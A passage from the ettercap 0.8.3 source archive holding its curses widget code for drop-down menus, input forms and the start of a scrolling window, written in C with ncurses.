wdg_menu_resize(struct wdg_object *wo) { wdg_menu_redraw(wo); return WDG_E_SUCCESS; } /* * called to redraw the menu */ static int wdg_menu_redraw(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_menu_handle, ww); WDG_DEBUG_MSG("wdg_menu_redraw"); /* the window already exist */ if (ww->menu) { /* erase the border */ wbkgd(ww->menu, COLOR_PAIR(wo->screen_color)); werase(ww->menu); touchwin(ww->menu); wnoutrefresh(ww->menu); /* set the menu color */ wbkgd(ww->menu, COLOR_PAIR(wo->window_color)); /* resize the menu */ wresize(ww->menu, 1, current_screen.cols); /* redraw the menu */ wdg_menu_titles(wo); touchwin(ww->menu); /* the first time we have to allocate the window */ } else { /* create the menu window (fixed dimensions) */ if ((ww->menu = newwin(1, current_screen.cols, 0, 0)) == NULL) return -WDG_E_FATAL; /* set the window color */ wbkgd(ww->menu, COLOR_PAIR(wo->window_color)); redrawwin(ww->menu); /* draw the titles */ wdg_menu_titles(wo); /* no scrolling for menu */ scrollok(ww->menu, FALSE); } /* refresh the window */ touchwin(ww->menu); wnoutrefresh(ww->menu); wo->flags |= WDG_OBJ_VISIBLE; return WDG_E_SUCCESS; } /* * called when the menu gets the focus */ static int wdg_menu_get_focus(struct wdg_object *wo) { /* set the flag */ wo->flags |= WDG_OBJ_FOCUSED; /* redraw the window */ wdg_menu_redraw(wo); return WDG_E_SUCCESS; } /* * called when the menu looses the focus */ static int wdg_menu_lost_focus(struct wdg_object *wo) { /* set the flag */ wo->flags &= ~WDG_OBJ_FOCUSED; /* close any active menu */ wdg_menu_close(wo); /* redraw the window */ wdg_menu_redraw(wo); return WDG_E_SUCCESS; } /* * called by the messages dispatcher when the menu is focused */ static int wdg_menu_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) { WDG_WO_EXT(struct wdg_menu_handle, ww); /* handle the message */ switch (key) { case KEY_MOUSE: /* is the mouse event within our edges ? */ if (wenclose(ww->menu, mouse->y, mouse->x)) { wdg_set_focus(wo); /* close any previously opened menu unit */ wdg_menu_close(wo); /* if the mouse click was over a menu unit title */ if (wdg_menu_mouse_move(wo, mouse) == WDG_E_SUCCESS) wdg_menu_open(wo); /* redraw the menu */ wdg_menu_redraw(wo); } else if (ww->focus_unit->active && wenclose(ww->focus_unit->win, mouse->y, mouse->x)) { wdg_menu_driver(wo, key, mouse); } else return -WDG_E_NOTHANDLED; break; case KEY_LEFT: case KEY_RIGHT: /* move only if focused */ if (wo->flags & WDG_OBJ_FOCUSED) { /* if the menu is open, move and open the neighbor */ if (ww->focus_unit->active) { wdg_menu_close(wo); wdg_menu_move(wo, key); wdg_menu_open(wo); } else wdg_menu_move(wo, key); wdg_menu_redraw(wo); } else return -WDG_E_NOTHANDLED; break; case KEY_RETURN: case KEY_DOWN: /* move only if focused */ if (wo->flags & WDG_OBJ_FOCUSED) { /* if the menu is open */ if (ww->focus_unit->active) wdg_menu_driver(wo, key, mouse); else wdg_menu_open(wo); } else return -WDG_E_NOTHANDLED; break; case KEY_UP: /* move only if focused */ if (wo->flags & WDG_OBJ_FOCUSED) { if (wdg_menu_driver(wo, key, mouse) != WDG_E_SUCCESS) { wdg_menu_close(wo); return -WDG_E_NOTHANDLED; } } else return -WDG_E_NOTHANDLED; break; /* message not handled */ default: return wdg_menu_shortcut(wo, key); break; } return WDG_E_SUCCESS; } /* * draw the menu titles */ static void wdg_menu_titles(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_menu_handle, ww); struct wdg_menu_unit *mu; /* there is a title: print it */ if (wo->title) { /* the only alignment is RIGHT */ wmove(ww->menu, 0, current_screen.cols - strlen(wo->title) - 1); wbkgdset(ww->menu, COLOR_PAIR(wo->title_color)); wattron(ww->menu, A_BOLD); wprintw(ww->menu, wo->title); wattroff(ww->menu, A_BOLD); wbkgdset(ww->menu, COLOR_PAIR(wo->window_color)); } /* move to the left */ wmove(ww->menu, 0, WDG_MENU_LEFT_PAD); /* print the menu unit list */ TAILQ_FOREACH(mu, &ww->menu_list, next) { /* the menu is focused and the unit has the control */ if ((wo->flags & WDG_OBJ_FOCUSED) && ww->focus_unit == mu) { wattron(ww->menu, A_REVERSE); wprintw(ww->menu, "%s", mu->title); wattroff(ww->menu, A_REVERSE); } else wprintw(ww->menu, "%s", mu->title); /* separator between two unit title */ wprintw(ww->menu, " "); } } /* * add a menu to the handle */ void wdg_menu_add(struct wdg_object *wo, struct wdg_menu *menu) { WDG_WO_EXT(struct wdg_menu_handle, ww); struct wdg_menu_unit *mu; struct wdg_key_callback *kcall; int i = 0; WDG_SAFE_CALLOC(mu, 1, sizeof(struct wdg_menu_unit)); WDG_SAFE_STRDUP(mu->title, menu[i].name); /* set the shortcut */ mu->hotkey = menu[i].hotkey; while (menu[++i].name != NULL) { /* count the items added */ mu->nitems++; WDG_SAFE_REALLOC(mu->items, mu->nitems * sizeof(ITEM *)); WDG_SAFE_CALLOC(kcall, 1, sizeof(struct wdg_key_callback)); /* create the item */ mu->items[mu->nitems - 1] = new_item(menu[i].name, menu[i].shortcut); /* remember the hotkey and the callback */ kcall->hotkey = menu[i].hotkey; kcall->callback = menu[i].callback; /* this is a separator */ if (!strcmp(menu[i].name, "-")) item_opts_off(mu->items[mu->nitems - 1], O_SELECTABLE); /* set the callback */ else set_item_userptr(mu->items[mu->nitems - 1], kcall); } /* add the null termination to the array */ WDG_SAFE_REALLOC(mu->items, (mu->nitems + 1) * sizeof(ITEM *)); mu->items[mu->nitems] = NULL; /* add the menu to the list */ if (TAILQ_FIRST(&ww->menu_list) == TAILQ_END(&ww->menu_list)) { TAILQ_INSERT_HEAD(&ww->menu_list, mu, next); /* set the focus on the first unit */ ww->focus_unit = mu; } else TAILQ_INSERT_TAIL(&ww->menu_list, mu, next); } /* * move the focus thru menu units */ static void wdg_menu_move(struct wdg_object *wo, int key) { WDG_WO_EXT(struct wdg_menu_handle, ww); switch(key) { case KEY_RIGHT: if (ww->focus_unit != TAILQ_LAST(&ww->menu_list, menu_head)) ww->focus_unit = TAILQ_NEXT(ww->focus_unit, next); break; case KEY_LEFT: if (ww->focus_unit != TAILQ_FIRST(&ww->menu_list)) ww->focus_unit = TAILQ_PREV(ww->focus_unit, menu_head, next); break; } } /* * select the focus with a mouse event */ static int wdg_menu_mouse_move(struct wdg_object *wo, struct wdg_mouse_event *mouse) { WDG_WO_EXT(struct wdg_menu_handle, ww); struct wdg_menu_unit *mu; size_t x = WDG_MENU_LEFT_PAD; TAILQ_FOREACH(mu, &ww->menu_list, next) { /* if the mouse is over a title */ if (mouse->x >= x && mouse->x < x + strlen(mu->title) ) { ww->focus_unit = mu; return WDG_E_SUCCESS; } /* move the pointer */ x += strlen(mu->title) + 2; } return -WDG_E_NOTHANDLED; } /* * stransform keys into menu commands */ static int wdg_menu_virtualize(int key) { switch (key) { case KEY_RETURN: case KEY_EXIT: return (MAX_COMMAND + 1); case KEY_NPAGE: return (REQ_SCR_DPAGE); case KEY_PPAGE: return (REQ_SCR_UPAGE); case KEY_DOWN: return (REQ_NEXT_ITEM); case KEY_UP: return (REQ_PREV_ITEM); default: if (key != KEY_MOUSE) beep(); return (key); } } /* * sends command to the active menu */ static int wdg_menu_driver(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) { WDG_WO_EXT(struct wdg_menu_handle, ww); int c; struct wdg_key_callback *kcall; /* variable currently not used */ (void) mouse; c = menu_driver(ww->focus_unit->m, wdg_menu_virtualize(key) ); /* skip non selectable items */ if ( !(item_opts(current_item(ww->focus_unit->m)) & O_SELECTABLE) ) c = menu_driver(ww->focus_unit->m, wdg_menu_virtualize(key) ); /* one item has been selected */ if (c == E_UNKNOWN_COMMAND) { /* the item is not selectable (probably selected with mouse */ if ( !(item_opts(current_item(ww->focus_unit->m)) & O_SELECTABLE) ) return WDG_E_SUCCESS; /* retrieve the function pointer */ kcall = item_userptr(current_item(ww->focus_unit->m)); /* close the menu */ wdg_menu_close(wo); /* execute the callback */ WDG_EXECUTE(kcall->callback); return WDG_E_SUCCESS; } /* tring to go outside edges */ if (c == E_REQUEST_DENIED) return -WDG_E_NOTHANDLED; wnoutrefresh(ww->focus_unit->win); return WDG_E_SUCCESS; } /* * open a menu unit */ static void wdg_menu_open(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_menu_handle, ww); struct wdg_menu_unit *mu; size_t x = WDG_MENU_LEFT_PAD; int mrows, mcols; WDG_DEBUG_MSG("wdg_menu_open"); WDG_BUG_IF(ww->focus_unit == NULL); /* already displayed */ if (ww->focus_unit->active == 1) return; /* calculate the x placement of the menu */ TAILQ_FOREACH(mu, &ww->menu_list, next) { /* search the curren focused unit */ if (!strcmp(mu->title, ww->focus_unit->title)) break; /* move the pointer */ x += strlen(mu->title) + 2; } /* create the menu */ ww->focus_unit->m = new_menu(ww->focus_unit->items); /* set the dimensions */ set_menu_format(ww->focus_unit->m, ww->focus_unit->nitems, 1); set_menu_spacing(ww->focus_unit->m, 2, 0, 0); /* get the geometry to make a window */ scale_menu(ww->focus_unit->m, &mrows, &mcols); /* check if the menu will go outside the screen on the right */ if (x + mcols + 2 > current_screen.cols) { /* * okay, we are going out of the edges... * let's align the menu with the edge */ x = current_screen.cols - (mcols + 3); } /* create the window for the menu */ ww->focus_unit->win = newwin(mrows + 2, mcols + 2, 1, x); /* set the color */ wbkgd(ww->focus_unit->win, COLOR_PAIR(wo->window_color)); keypad(ww->focus_unit->win, TRUE); box(ww->focus_unit->win, 0, 0); /* associate with the menu */ set_menu_win(ww->focus_unit->m, ww->focus_unit->win); /* the subwin for the menu */ set_menu_sub(ww->focus_unit->m, derwin(ww->focus_unit->win, mrows + 1, mcols, 1, 1)); /* menu attributes */ set_menu_mark(ww->focus_unit->m, ""); set_menu_grey(ww->focus_unit->m, COLOR_PAIR(wo->window_color)); set_menu_back(ww->focus_unit->m, COLOR_PAIR(wo->window_color)); set_menu_fore(ww->focus_unit->m, COLOR_PAIR(wo->window_color) | A_REVERSE | A_BOLD); /* display the menu */ post_menu(ww->focus_unit->m); /* set the active state */ ww->focus_unit->active = 1; wnoutrefresh(ww->focus_unit->win); } /* * close a menu unit */ static void wdg_menu_close(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_menu_handle, ww); WDG_DEBUG_MSG("wdg_menu_close"); WDG_BUG_IF(ww->focus_unit == NULL); /* nothing to clear */ if (ww->focus_unit->active == 0 || ww->focus_unit->m == NULL) return; /* hide the menu */ unpost_menu(ww->focus_unit->m); /* set the active state */ ww->focus_unit->active = 0; /* erase the menu */ wbkgd(ww->focus_unit->win, COLOR_PAIR(wo->screen_color)); werase(ww->focus_unit->win); wnoutrefresh(ww->focus_unit->win); /* delete the memory */ free_menu(ww->focus_unit->m); ww->focus_unit->m = NULL; delwin(ww->focus_unit->win); /* repaint the whole screen since a menu might have overlapped something */ wdg_redraw_all(); } /* * search in the shortcut list the key, and if found * open the corresponding menu. */ static int wdg_menu_shortcut(struct wdg_object *wo, int key) { WDG_WO_EXT(struct wdg_menu_handle, ww); struct wdg_menu_unit *mu; struct wdg_key_callback *kcall; /* search the shortcut in the menu unit list */ TAILQ_FOREACH(mu, &ww->menu_list, next) { int i = 0; /* first check for the menu unit */ if (mu->hotkey == key) { WDG_DEBUG_MSG("wdg_menu_shortcut: menu unit"); wdg_set_focus(wo); wdg_menu_close(wo); ww->focus_unit = mu; wdg_menu_open(wo); wdg_menu_redraw(wo); return WDG_E_SUCCESS; } /* then search in the menu items */ while (mu->items[i] != NULL) { kcall = item_userptr(mu->items[i]); i++; if (kcall == NULL) continue; /* execute the callback */ if (kcall->hotkey == key) { WDG_DEBUG_MSG("wdg_menu_shortcut: item callback"); WDG_EXECUTE(kcall->callback); return WDG_E_SUCCESS; } } } return -WDG_E_NOTHANDLED; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/widgets/wdg_input.c0000644000175000017500000003774313505247364023242 0ustar koeppeakoeppea/* WDG -- user input widget Copyright (C) ALoR This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* GLOBALS */ struct wdg_input_handle { WINDOW *win; FORM *form; WINDOW *fwin; FIELD **fields; size_t nfields; size_t x, y; char **buffers; void (*callback)(void); }; /* PROTOS */ void wdg_create_input(struct wdg_object *wo); static int wdg_input_destroy(struct wdg_object *wo); static int wdg_input_resize(struct wdg_object *wo); static int wdg_input_redraw(struct wdg_object *wo); static int wdg_input_get_focus(struct wdg_object *wo); static int wdg_input_lost_focus(struct wdg_object *wo); static int wdg_input_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse); static void wdg_input_borders(struct wdg_object *wo); static int wdg_input_virtualize(struct wdg_object *wo, int key); static int wdg_input_driver(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse); static void wdg_input_form_destroy(struct wdg_object *wo); static void wdg_input_form_create(struct wdg_object *wo); static void wdg_input_consolidate(struct wdg_object *wo); /*******************************************/ /* * called to create the menu */ void wdg_create_input(struct wdg_object *wo) { WDG_DEBUG_MSG("wdg_create_input"); /* set the callbacks */ wo->destroy = wdg_input_destroy; wo->resize = wdg_input_resize; wo->redraw = wdg_input_redraw; wo->get_focus = wdg_input_get_focus; wo->lost_focus = wdg_input_lost_focus; wo->get_msg = wdg_input_get_msg; WDG_SAFE_CALLOC(wo->extend, 1, sizeof(struct wdg_input_handle)); } /* * called to destroy the menu */ static int wdg_input_destroy(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_input_handle, ww); size_t i = 0; WDG_DEBUG_MSG("wdg_input_destroy"); /* erase the window */ wbkgd(ww->win, COLOR_PAIR(wo->screen_color)); werase(ww->win); wnoutrefresh(ww->win); /* destroy the internal form */ wdg_input_form_destroy(wo); /* dealloc the structures */ delwin(ww->win); /* free all the items */ while(ww->fields[i] != NULL) free_field(ww->fields[i++]); /* free the array */ WDG_SAFE_FREE(ww->fields); /* free the buffer array */ WDG_SAFE_FREE(ww->buffers); WDG_SAFE_FREE(wo->extend); return WDG_E_SUCCESS; } /* * called to resize the menu */ static int wdg_input_resize(struct wdg_object *wo) { wdg_input_redraw(wo); return WDG_E_SUCCESS; } /* * called to redraw the menu */ static int wdg_input_redraw(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_input_handle, ww); size_t c, l, x, y; WDG_DEBUG_MSG("wdg_input_redraw"); /* center the window on the screen */ wo->x1 = (current_screen.cols - (ww->x + 2)) / 2; wo->y1 = (current_screen.lines - (ww->y + 2)) / 2; wo->x2 = -wo->x1; wo->y2 = -wo->y1; c = wdg_get_ncols(wo); l = wdg_get_nlines(wo); x = wdg_get_begin_x(wo); y = wdg_get_begin_y(wo); /* deal with rouding */ if (l != ww->y + 2) l = ww->y + 2; if (c != ww->x + 2) c = ww->x + 2; /* the window already exist */ if (ww->win) { /* erase the border */ wbkgd(ww->win, COLOR_PAIR(wo->screen_color)); werase(ww->win); /* destroy the internal form */ wdg_input_form_destroy(wo); touchwin(ww->win); wnoutrefresh(ww->win); /* set the form color */ wbkgd(ww->win, COLOR_PAIR(wo->window_color)); /* resize the window */ mvwin(ww->win, y, x); wresize(ww->win, l, c); /* redraw the window */ wdg_input_borders(wo); /* create the internal form */ wdg_input_form_create(wo); touchwin(ww->win); /* the first time we have to allocate the window */ } else { /* create the menu window (fixed dimensions) */ if ((ww->win = newwin(l, c, y, x)) == NULL) return -WDG_E_FATAL; /* set the window color */ wbkgd(ww->win, COLOR_PAIR(wo->window_color)); redrawwin(ww->win); /* draw the titles */ wdg_input_borders(wo); /* create the internal form */ wdg_input_form_create(wo); /* no scrolling for menu */ scrollok(ww->win, FALSE); } /* refresh the window */ touchwin(ww->win); wnoutrefresh(ww->win); touchwin(ww->fwin); wnoutrefresh(ww->fwin); wo->flags |= WDG_OBJ_VISIBLE; return WDG_E_SUCCESS; } /* * called when the menu gets the focus */ static int wdg_input_get_focus(struct wdg_object *wo) { /* set the flag */ wo->flags |= WDG_OBJ_FOCUSED; /* redraw the window */ wdg_input_redraw(wo); return WDG_E_SUCCESS; } /* * called when the menu looses the focus */ static int wdg_input_lost_focus(struct wdg_object *wo) { /* set the flag */ wo->flags &= ~WDG_OBJ_FOCUSED; /* redraw the window */ wdg_input_redraw(wo); return WDG_E_SUCCESS; } /* * called by the messages dispatcher when the menu is focused */ static int wdg_input_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) { WDG_WO_EXT(struct wdg_input_handle, ww); WDG_DEBUG_MSG("keypress get msg: %d", key); /* handle the message */ switch (key) { case KEY_MOUSE: /* is the mouse event within our edges ? */ if (wenclose(ww->win, mouse->y, mouse->x)) { wdg_set_focus(wo); /* redraw the menu */ wdg_input_redraw(wo); } else { return -WDG_E_NOTHANDLED; } break; case KEY_ESC: case CTRL('Q'): wdg_destroy_object(&wo); wdg_redraw_all(); return WDG_EFINISHED; break; /* message not handled */ default: if (wo->flags & WDG_OBJ_FOCUSED) { return wdg_input_driver(wo, key, mouse); } else { return -WDG_E_NOTHANDLED; } break; } return WDG_E_SUCCESS; } /* * draw the menu titles */ static void wdg_input_borders(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_input_handle, ww); size_t c = wdg_get_ncols(wo); /* the object was focused */ if (wo->flags & WDG_OBJ_FOCUSED) { wattron(ww->win, A_BOLD); wbkgdset(ww->win, COLOR_PAIR(wo->focus_color)); } else wbkgdset(ww->win, COLOR_PAIR(wo->border_color)); /* draw the borders */ box(ww->win, 0, 0); /* set the title color */ wbkgdset(ww->win, COLOR_PAIR(wo->title_color)); /* there is a title: print it */ if (wo->title) { switch (wo->align) { case WDG_ALIGN_LEFT: wmove(ww->win, 0, 3); break; case WDG_ALIGN_CENTER: wmove(ww->win, 0, (c - strlen(wo->title)) / 2); break; case WDG_ALIGN_RIGHT: wmove(ww->win, 0, c - strlen(wo->title) - 3); break; } wprintw(ww->win, wo->title); } /* restore the attribute */ if (wo->flags & WDG_OBJ_FOCUSED) wattroff(ww->win, A_BOLD); } /* * stransform keys into menu commands */ static int wdg_input_virtualize(struct wdg_object *wo, int key) { WDG_WO_EXT(struct wdg_input_handle, ww); int c; switch (key) { case KEY_RETURN: case KEY_EXIT: c = MAX_FORM_COMMAND + 1; break; case KEY_UP: case KEY_LEFT: c = REQ_PREV_FIELD; /* we are moving... unfocus the current field */ set_field_back(current_field(ww->form), A_UNDERLINE); break; case KEY_DOWN: case KEY_RIGHT: c = REQ_NEXT_FIELD; /* we are moving... unfocus the current field */ set_field_back(current_field(ww->form), A_UNDERLINE); break; case KEY_BACKSPACE: case '\b': case 127: /* how many code does it have ?? argh !! */ c = REQ_DEL_PREV; break; case KEY_DC: c = REQ_DEL_CHAR; break; case KEY_HOME: c = REQ_BEG_FIELD; break; case KEY_END: c = REQ_END_FIELD; break; default: c = key; break; } /* * Force the field that the user is typing into to be in reverse video, * while the other fields are shown underlined. */ //if (c <= KEY_MAX) // set_field_back(current_field(ww->form), A_REVERSE); //else if (c <= MAX_FORM_COMMAND) // set_field_back(current_field(ww->form), A_UNDERLINE); return c; } /* * sends command to the form */ static int wdg_input_driver(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) { WDG_WO_EXT(struct wdg_input_handle, ww); int c, v; /* variable currently not used */ (void) mouse; WDG_DEBUG_MSG("keypress driver: %d", key); /* virtualize the command */ c = form_driver(ww->form, (v = wdg_input_virtualize(wo, key)) ); set_field_back(current_field(ww->form), A_REVERSE); /* one item has been selected */ if (c == E_UNKNOWN_COMMAND) { /* send a command to the form in order to validate the current field */ form_driver(ww->form, REQ_NEXT_FIELD); /* * put the temp buffer in the real one * call the callback * and destroy the object */ wdg_input_consolidate(wo); return WDG_EFINISHED; } wnoutrefresh(ww->fwin); return WDG_E_SUCCESS; } /* * delete the internal form */ static void wdg_input_form_destroy(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_input_handle, ww); /* delete the form */ unpost_form(ww->form); free_form(ww->form); ww->form = NULL; delwin(ww->fwin); } /* * create the internal form */ static void wdg_input_form_create(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_input_handle, ww); int mrows, mcols; size_t c = wdg_get_ncols(wo); size_t x = wdg_get_begin_x(wo); size_t y = wdg_get_begin_y(wo); /* the form is already posted */ if (ww->form) return; /* create the form */ ww->form = new_form(ww->fields); /* get the geometry to make a window */ scale_form(ww->form, &mrows, &mcols); /* create the window for the form */ ww->fwin = newwin(mrows, MAX(mcols, (int)c - 4), y + 1, x + 2); /* set the color */ wbkgd(ww->fwin, COLOR_PAIR(wo->window_color)); keypad(ww->fwin, TRUE); /* associate with the form */ set_form_win(ww->form, ww->fwin); /* the subwin for the form */ set_form_sub(ww->form, derwin(ww->fwin, mrows + 1, mcols, 1, 1)); /* make the active field in reverse mode */ set_field_back(current_field(ww->form), A_REVERSE); /* display the form */ post_form(ww->form); wnoutrefresh(ww->fwin); } /* * set the size of the dialog */ void wdg_input_size(wdg_t *wo, size_t x, size_t y) { WDG_WO_EXT(struct wdg_input_handle, ww); /* add 2 for the space between the label and the field * add 2 for the borders */ ww->x = x + 2 + 4; ww->y = y; /* center the window on the screen */ wo->x1 = (current_screen.cols - (x + 2)) / 2; wo->y1 = (current_screen.lines - (y + 2)) / 2; wo->x2 = -wo->x1; wo->y2 = -wo->y1; } /* * add a field to the form */ void wdg_input_add(wdg_t *wo, size_t x, size_t y, const char *caption, char *buf, size_t len, size_t lines) { WDG_WO_EXT(struct wdg_input_handle, ww); ww->nfields += 2; WDG_SAFE_REALLOC(ww->fields, ww->nfields * sizeof(FIELD *)); /* remember the pointer to the real buffer (to be used in consolidate) */ WDG_SAFE_REALLOC(ww->buffers, (ww->nfields/2 + 1) * sizeof(char *)); ww->buffers[ww->nfields/2 - 1] = buf; ww->buffers[ww->nfields/2] = NULL; /* create the caption */ ww->fields[ww->nfields - 2] = new_field(1, strlen(caption), y, x, 0, 0); set_field_buffer(ww->fields[ww->nfields - 2], 0, caption); field_opts_off(ww->fields[ww->nfields - 2], O_ACTIVE); set_field_fore(ww->fields[ww->nfields - 2], COLOR_PAIR(wo->focus_color)); /* and the modifiable field */ ww->fields[ww->nfields - 1] = new_field(lines, len, y, x + strlen(caption) + 2, 0, 0); set_field_back(ww->fields[ww->nfields - 1], A_UNDERLINE); field_opts_off(ww->fields[ww->nfields - 1], O_WRAP); set_field_buffer(ww->fields[ww->nfields - 1], 0, buf); set_field_fore(ww->fields[ww->nfields - 1], COLOR_PAIR(wo->window_color)); /* null terminate the array */ WDG_SAFE_REALLOC(ww->fields, (ww->nfields + 1) * sizeof(FIELD *)); ww->fields[ww->nfields] = NULL; } /* * copy the temp buffers to the real ones */ static void wdg_input_consolidate(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_input_handle, ww); char *buf; int i = 0, j; size_t buflen; void (*callback)(void); WDG_DEBUG_MSG("wdg_input_consolidate"); while(ww->fields[i] != NULL) { /* get the buffer */ buf = field_buffer(ww->fields[i+1], 0); buflen = strlen(buf); /* trim out the trailing spaces */ for (j = buflen - 1; j >= 0; j--) if (buf[j] == ' ') buf[j] = 0; else break; /* copy the buffer in the real one */ strcpy(ww->buffers[i/2], buf); /* skip the label */ i += 2; } /* execute the callback */ callback = ww->callback; wdg_destroy_object(&wo); wdg_redraw_all(); WDG_EXECUTE(callback); } /* * set the user callback */ void wdg_input_set_callback(wdg_t *wo, void (*callback)(void)) { WDG_WO_EXT(struct wdg_input_handle, ww); ww->callback = callback; } /* * this function will get the input from the user. * CAUTION: this is an hack, since it uses wgetch() * it will takeover the main dispatching loop !!! */ void wdg_input_get_input(wdg_t *wo) { int key, ret; struct wdg_mouse_event mouse; WDG_DEBUG_MSG("wdg_input_get_input"); /* dispatch keys to self */ WDG_LOOP { key = wgetch(stdscr); switch (key) { /* don't switch focus... */ case KEY_TAB: break; case KEY_CTRL_L: /* redrawing the screen is equivalent to resizing it */ case KEY_RESIZE: /* the screen has been resized */ wdg_redraw_all(); /* update the screen */ doupdate(); break; case ERR: /* non-blocking input reached the timeout */ /* sleep for milliseconds */ napms(WDG_INPUT_TIMEOUT * 10); refresh(); doupdate(); break; default: #ifdef NCURSES_MOUSE_VERSION /* handle mouse events */ if (key == KEY_MOUSE) { MEVENT event; getmouse(&event); mouse_trafo(&event.y, &event.x, TRUE); mouse.x = event.x; mouse.y = event.y; mouse.event = event.bstate; } #else /* we don't support mouse events */ memset(&mouse, 0, sizeof(mouse)); #endif /* dispatch the user input */ ret = wdg_input_get_msg(wo, key, &mouse); /* update the screen */ doupdate(); /* * if the object is destroyed or the input finished, * then return to the main loop */ if (ret == WDG_EFINISHED) { WDG_DEBUG_MSG("wdg_input_get_input: return to main loop"); return; } break; } } } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/widgets/wdg_scroll.c0000644000175000017500000002657313505247364023400 0ustar koeppeakoeppea/* WDG -- scroll widget Copyright (C) ALoR This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* GLOBALS */ struct wdg_scroll { WINDOW *win; WINDOW *sub; size_t y_scroll; size_t y_max; }; #define WDG_PAD_REFRESH(ww, c, l, x, y) pnoutrefresh(ww->sub, ww->y_scroll + 1, 0, y + 1, x + 1, y + l - 2, x + c - 2) /* PROTOS */ void wdg_create_scroll(struct wdg_object *wo); static int wdg_scroll_destroy(struct wdg_object *wo); static int wdg_scroll_resize(struct wdg_object *wo); static int wdg_scroll_redraw(struct wdg_object *wo); static int wdg_scroll_get_focus(struct wdg_object *wo); static int wdg_scroll_lost_focus(struct wdg_object *wo); static int wdg_scroll_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse); static void wdg_scroll_border(struct wdg_object *wo); static void wdg_set_scroll(struct wdg_object *wo, int s); static void wdg_mouse_scroll(struct wdg_object *wo, int s); /*******************************************/ /* * called to create a window */ void wdg_create_scroll(struct wdg_object *wo) { WDG_DEBUG_MSG("wdg_create_scroll"); /* set the callbacks */ wo->destroy = wdg_scroll_destroy; wo->resize = wdg_scroll_resize; wo->redraw = wdg_scroll_redraw; wo->get_focus = wdg_scroll_get_focus; wo->lost_focus = wdg_scroll_lost_focus; wo->get_msg = wdg_scroll_get_msg; WDG_SAFE_CALLOC(wo->extend, 1, sizeof(struct wdg_scroll)); } /* * called to destroy a window */ static int wdg_scroll_destroy(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_scroll, ww); WDG_DEBUG_MSG("wdg_scroll_destroy"); /* erase the window */ wbkgd(ww->win, COLOR_PAIR(wo->screen_color)); wbkgd(ww->sub, COLOR_PAIR(wo->screen_color)); werase(ww->sub); werase(ww->win); wnoutrefresh(ww->win); /* dealloc the structures */ delwin(ww->sub); delwin(ww->win); WDG_SAFE_FREE(wo->extend); return WDG_E_SUCCESS; } /* * called to resize a window */ static int wdg_scroll_resize(struct wdg_object *wo) { wdg_scroll_redraw(wo); return WDG_E_SUCCESS; } /* * called to redraw a window */ static int wdg_scroll_redraw(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_scroll, ww); size_t c = wdg_get_ncols(wo); size_t l = wdg_get_nlines(wo); size_t x = wdg_get_begin_x(wo); size_t y = wdg_get_begin_y(wo); WDG_DEBUG_MSG("wdg_scroll_redraw"); /* the window already exist */ if (ww->win) { /* erase the border */ wbkgd(ww->win, COLOR_PAIR(wo->screen_color)); werase(ww->win); touchwin(ww->win); wnoutrefresh(ww->win); /* resize the window and draw the new border */ mvwin(ww->win, y, x); wresize(ww->win, l, c); wdg_scroll_border(wo); /* set the window color */ wbkgd(ww->sub, COLOR_PAIR(wo->window_color)); touchwin(ww->sub); /* the pad is resized only orizzontally. * the vertical dimension can be larger than the screen */ wdg_scroll_set_lines(wo, ww->y_max); /* refresh it */ WDG_PAD_REFRESH(ww, c, l, x, y); /* the first time we have to allocate the window */ } else { /* a default value waiting for wdg_scroll_set_lines() */ ww->y_max = l * 5; /* create the outher window */ if ((ww->win = newwin(l, c, y, x)) == NULL) return -WDG_E_FATAL; /* draw the borders */ wdg_scroll_border(wo); /* initialize the pointer */ wdg_set_scroll(wo, ww->y_max - l + 1); /* create the inner (actual) window */ if ((ww->sub = newpad(ww->y_max, c - 2)) == NULL) return -WDG_E_FATAL; /* set the window color */ wbkgd(ww->sub, COLOR_PAIR(wo->window_color)); touchwin(ww->sub); /* move to the bottom of the pad */ wmove(ww->sub, ww->y_scroll + 1, 0); /* permit scroll in the pad */ scrollok(ww->sub, TRUE); } /* refresh the window */ touchwin(ww->sub); wnoutrefresh(ww->win); WDG_PAD_REFRESH(ww, c, l, x, y); wo->flags |= WDG_OBJ_VISIBLE; return WDG_E_SUCCESS; } /* * called when the window gets the focus */ static int wdg_scroll_get_focus(struct wdg_object *wo) { /* set the flag */ wo->flags |= WDG_OBJ_FOCUSED; /* redraw the window */ wdg_scroll_redraw(wo); return WDG_E_SUCCESS; } /* * called when the window looses the focus */ static int wdg_scroll_lost_focus(struct wdg_object *wo) { /* set the flag */ wo->flags &= 